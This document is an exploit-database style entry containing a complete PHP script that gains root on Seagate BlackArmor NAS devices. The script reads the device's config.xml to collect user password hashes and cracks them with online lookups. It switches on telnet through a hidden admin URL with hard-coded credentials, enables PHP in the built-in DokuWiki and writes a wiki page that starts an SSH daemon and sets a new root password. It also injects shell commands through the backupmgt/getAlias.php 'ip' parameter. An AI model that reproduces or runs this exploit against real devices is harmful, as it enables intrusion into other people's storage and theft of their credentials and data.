Seagate BlackArmor Root Exploit

2014.01.06
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

<?php ######################################################################## ## Seagate Black Armor Exploit by J. Diel <jeroen@nerdbox.it> ## ######################################################################## ## Public Release v0.2 ######################################################################## abstract class MD5Decryptor { abstract public function probe($hash); public static function plain($hash, $class = NULL) { if ($class === NULL) { $class = get_called_class(); } else { $class = sprintf("MD5Decryptor%s", $class); } $decryptor = new $class(); if (count($hash) > 1) { foreach ($hash as &$one) { $one = $decryptor->probe($one); } } else { $hash = $decryptor->probe($hash); } return $hash; } public function dictionaryAttack($hash, array $wordlist) { $hash = strtolower($hash); foreach ($wordlist as $word) { if (md5($word) === $hash) return $word; } } } abstract class MD5DecryptorWeb extends MD5Decryptor { protected $url; public function getWordlist($hash) { $list = FALSE; $url = sprintf($this->url, $hash); if ($response = file_get_contents($url)) { $list[$response] = 1; $list += array_flip(preg_split("/\s+/", $response)); $list += array_flip(preg_split("/(?:\s|\.)+/", $response)); $list = array_keys($list); } return $list; } public function probe($hash) { $hash = strtolower($hash); return $this->dictionaryAttack($hash, $this->getWordlist($hash)); } } class MD5DecryptorGoogle extends MD5DecryptorWeb { protected $url = "http://www.google.com/search?q=%s"; } function portcheck($host, $port) { $connection = @fsockopen($host, $port); if (is_resource($connection)) { $port_status = "reachable"; fclose($connection); } else { $port_status = "unreachable"; } return $port_status; } function authenticate($url, $username, $password) { $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "p_user=" . $username . "&p_pass=" . $password); curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt"); curl_setopt($ch, CURLOPT_URL, $url); curl_exec($ch); curl_close($ch); } function RemoteCodeExec($url, $command) { $url = $url . "/backupmgt/getAlias.php?ip=" . urlencode("xx /etc/passwd; ") . urlencode($command) . ";"; $handle = fopen($url, "r"); } function RemoteFileExist($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_NOBODY, true); curl_exec($ch); $retcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); return $retcode; curl_close($ch); } function getWikiSecurityToken($url) { $curl = curl_init($url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($curl, CURLOPT_AUTOREFERER, TRUE); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt"); $html = curl_exec($curl); $doc = new DOMDocument; @$doc->loadHTML($html); $tags = $doc->getElementsByTagName('input'); foreach ($tags as $tag) { $search = $tag->getAttribute('value'); if (strlen($search) == "32") { return $search; exit; } } } $version = "0.2"; if (!isset($argv[1])) { echo "------------------------------------------------------------------\n"; echo " Seagate BlackArmor NAS Exploit v" . $version . " (c) 2013 - " . date('Y') . " by J. Diel \n"; echo " IT Nerdbox :: http://www.nerdbox.it :: jeroen@nerdbox.it\n"; echo "------------------------------------------------------------------\n"; echo "\nUsage: php " . $argv[0] . " <url>\n\n"; echo "Example Usage: php " . $argv[0] . " http://<targetip | host>\n"; die(); } $curl = curl_init(); $url = $argv[1] . "/admin/config.xml"; curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_URL, $url); $xmldata = curl_exec($curl); $http_status = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); if ($http_status == "0") { echo "[Error]: The host was not found!\n\n"; die(); } if ($http_status == "404") { echo "[Error]: The page was not found! Are you sure this is a Seagate BlackArmor NAS?\n"; die(); } $xml = new SimpleXMLElement($xmldata); $internal_ip = $xml->xpath("network/lan/ip"); $internal_sn = $xml->xpath("network/lan/netmask"); $internal_gw = $xml->xpath("network/lan/gateway"); $dns0 = $xml->xpath("network/lan/dns0"); $dns1 = $xml->xpath("network/lan/dns1"); echo "------------------------------------------------------------------\n"; echo "- Network Details: \n"; echo "------------------------------------------------------------------\n"; echo "- IP Address : " . $internal_ip[0] . "/" . $internal_sn[0] . "\n"; echo "- Gateway / Router : " . $internal_gw[0] . "/" . $internal_sn[0] . "\n"; echo "- 1st DNS Server : " . $dns0[0] . "\n"; echo "- 2nd DNS Server : " . $dns1[0] . "\n\n"; $serv_pnp = $xml->xpath("network/service/upnp/enable"); $serv_ftp = $xml->xpath("network/service/ftp/enable"); $serv_ftp_port = $xml->xpath("network/service/ftp/fport"); $serv_nfs = $xml->xpath("network/service/nfs/enable"); echo "------------------------------------------------------------------\n"; echo "- Network Services: \n"; echo "------------------------------------------------------------------\n"; $host = explode("/", $argv[1]); $host = $host[2]; echo "- uPNP : " . $serv_pnp[0] . "\n"; echo "- FTP : " . $serv_ftp[0] . " (port: " . $serv_ftp_port[0] . " - " . portcheck("$host", "$serv_ftp_port[0]") . ")\n"; echo "- NFS : " . $serv_nfs[0] . "\n\n"; $shares = $xml->xpath("shares/nasshare/sharename"); $cnt = count($shares); echo "------------------------------------------------------------------\n"; echo "- Network Shares: " . $cnt . "\n"; echo "------------------------------------------------------------------\n"; for ($i=0; $i<$cnt; $i++) { echo "- " . $shares[$i] . "\n"; } echo "\n"; $username = $xml->xpath("access/users/nasuser/username"); while(list( , $node) = each ($username)) { $users[] = $node; } $md5hash = $xml->xpath("access/users/nasuser/htusers"); while(list( , $node) = each ($md5hash)) { $md5s[] = $node; } $max = count($users); echo "------------------------------------------------------------------\n"; echo "- User hashes found: \n"; echo "------------------------------------------------------------------\n"; $pwdcount = 0; for ($i=0; $i<$max; $i++) { $file = "md5.hash"; $fh = fopen($file, (file_exists($file)) ? "a" : "w"); fclose($fh); $contents = file_get_contents($file); $pattern = preg_quote($md5s[$i], "/"); $pattern = "/^.*$pattern.*\$/m"; if (preg_match_all($pattern, $contents, $matches)){ $pwdcount++; if ($users[$i] != "admin") { } else { $admin_found = "1"; $admin_password = explode(":", implode("\n", $matches[0])); } echo "- " . implode("\n", $matches[0]) . " (username: " . $users[$i] . ")\n"; $next_user = $users[$i]; $next_pass = explode(":", implode("\n", $matches[0])); } else { $hashes[] = array("$md5s[$i]", "$users[$i]"); echo "- " . $md5s[$i] . " (username: " . $users[$i] . ")\n"; } } if ($pwdcount == 0) { echo "\n------------------------------------------------------------------\n"; echo "- No passwords could be found in local storage! \n"; echo "------------------------------------------------------------------\n"; echo "- Search for hashes online? Type 'yes' to continue: "; $handle = fopen ("php://stdin","r"); $line = fgets($handle); if(trim($line) == "yes"){ $decryptors = array("Google"); echo "\n------------------------------------------------------------------\n"; echo "- Searching online for passwords: \n"; echo "------------------------------------------------------------------\n"; foreach ($hashes as $hash) { echo "- " . $hash[0]; foreach($decryptors as $decrytor) { if (NULL !== ($plain = MD5Decryptor::plain($hash[0], $decrytor))) { echo " - found: $plain"; $pwdcount++; $next_user = $hash[1]; $next_pass = $plain; if ($next_user == "admin") { $admin_found = "1"; $admin_pass = $plain; } $fh = fopen($file, (file_exists($file)) ? "a" : "w"); fwrite($fh, $hash[0] . ":" . $plain . "\n"); fclose($fh); break; } else { echo " - not found!"; } } echo "\n"; } } } if ($pwdcount != 0) { echo "\nTotal number of passwords found: " . $pwdcount . "\n\n"; echo "------------------------------------------------------------------\n"; echo "- Services: \n"; echo "------------------------------------------------------------------\n"; if (isset($admin_found)) { $telnet_user = "admin"; if (isset($admin_password[1])) { $telnet_pass = $admin_password[1]; } else { $telnet_pass = $admin_pass; } } else { $telnet_user = $next_user; $telnet_pass = $next_pass[1]; } $telnet_status = portcheck("$host", "23"); if ($telnet_status == "reachable") { echo "- The telnet daemon is already running: [skipped]\n"; } else { echo "- Enable the telnet daemon? Type 'yes' to continue: "; $handle = fopen ("php://stdin","r"); $line = fgets($handle); if(trim($line) != "yes"){ } else { echo "- Trying to start the telnet daemon : "; $url = $argv[1]; authenticate($url, $telnet_user, $telnet_pass); $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_POST, false); curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Authorization: Basic SmVXYWI6c3lzYWRtaW4=" )); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt"); curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt"); curl_setopt($ch, CURLOPT_URL, $url . "/admin/sxmJEWAB/SXMjewab.php?telnet=jewab&debug=1"); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,5); curl_exec($ch); curl_close($ch); echo "[done]\n"; echo "- Verifiying telnet daemon status : "; $telnet_status = portcheck("$host", "23"); if ($telnet_status == "reachable") { echo "[verified]\n"; } else { echo "[error]\n"; echo "- This is possible if portforwarding is not enabled for telnet\n"; } } } $xml = new SimpleXMLElement($xmldata); $wiki = $xml->xpath("enableddokuwikiserver"); $wiki = $wiki[0]; if ($wiki == "yes") { echo "- The Wiki server is enabled : [skipped]\n"; } else { echo "- Enabeling the Wiki server : "; $url = $argv[1]; $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, 'enablewiki=yes&agree=yes&btn=Submit'); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt"); curl_setopt($ch, CURLOPT_URL, $url . '/admin/dokuwiki_service.php'); curl_exec($ch); curl_close($ch); echo "[done]\n"; } echo "- Retrieving wiki security token : "; $sectok = getWikiSecurityToken($argv[1] . "/wiwiki/doku.php?do=login&id=start"); if (isset($sectok)) { echo "[found]\n"; } else { echo "[Not Found]\n"; exit; } if (isset($admin_found)) { echo "- Logging in to the wiki server : "; $url = $argv[1]; $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "u=" . $telnet_user . "&p=" . $telnet_pass . "ok=" . $sectok ."&do=login&id=start"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt"); curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt"); curl_setopt($ch, CURLOPT_URL, $url . "/wiwiki/doku.php"); curl_exec($ch); $http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[done]\n"; echo "- Enabling PHP in wiki server : "; $sectok = getWikiSecurityToken($url . "/wiwiki/doku.php?id=start&do=admin&page=config"); $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "config[phpok]=1ok=" . $sectok . "&do=admin&page=config&save=1&submit=Save"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_AUTOREFERER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt"); curl_setopt($ch, CURLOPT_URL, $url . "/wiwiki/doku.php?id=start"); curl_exec($ch); curl_close($ch); echo "[done]\n"; echo "\n------------------------------------------------------------------\n"; echo "- Rooting the NAS: \n"; echo "------------------------------------------------------------------\n"; echo "- Enter the new root password: "; $handle = fopen ("php://stdin","r"); $line = fgets($handle); if(trim($line) == ""){ $root_password = "mypassword"; echo "- No root password chosen! Setting our own: '" . $root_password . "'\n"; } else { $root_password = preg_replace( "/\r|\n/", "", $line); } $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "sectok=" . $sectok . "&id=playground:playground&do[save]=Save&wikitext=<php>exec(\"/usr/sbin/drop bear start;\"); exec(\"echo '" . $root_password . "' | passwd --stdin;\");</php>"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_AUTOREFERER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt"); curl_setopt($ch, CURLOPT_URL, $url . "/wiwiki/doku.php"); curl_exec($ch); curl_close($ch); echo "- The devices is rooted! The password is: " . $root_password ."\n"; echo "- The SSH daemon was also enabled!!\n\n"; } else { echo "- Can't root the device due to lack of admin credentials\n"; echo "- However, do you want to reset the admin password? [yes]:"; $handle = fopen ("php://stdin","r"); $line = fgets($handle); if(trim($line) == "yes") { $httpResponseCode = RemoteFileExist($argv[1] . "/backupmgt/immediate_log/instance.log"); if ($httpResponseCode == "200") { RemoteCodeExec($argv[1], "sed '11,16d' /proto/SxM_webui/d41d8cd98f00b204e9800998ecf8427e.php > /proto/SxM_webui/reset.php"); RemoteCodeExec($argv[1], "chmod 755 /proto/SxM_webui/reset.php"); echo "- Now go to: " . $argv[1] . "/reset.php to reset the default credentials to admin/admin.\n"; exit; } else { echo "Something went wrong, the HTTP error code is: " . $httpResponseCode . "\n"; } } else { echo "Exit....\n"; exit; } } } else { echo "- No passwords were found!\n"; echo "- However, do you want to reset the admin password? [yes]:"; $handle = fopen ("php://stdin","r"); $line = fgets($handle); if(trim($line) == "yes") { $httpResponseCode = RemoteFileExist($argv[1] . "/backupmgt/immediate_log/instance.log"); if ($httpResponseCode == "200") { RemoteCodeExec($argv[1], "sed '11,16d' /proto/SxM_webui/d41d8cd98f00b204e9800998ecf8427e.php > /proto/SxM_webui/reset.php"); RemoteCodeExec($argv[1], "chmod 755 /proto/SxM_webui/reset.php"); echo "- Now go to: " . $argv[1] . "/reset.php to reset the default credentials to admin/admin.\n"; exit; } else { echo "Something went wrong, the HTTP error code is: " . $httpResponseCode . "\n"; } } else { echo "Exit....\n"; exit; } } ?>


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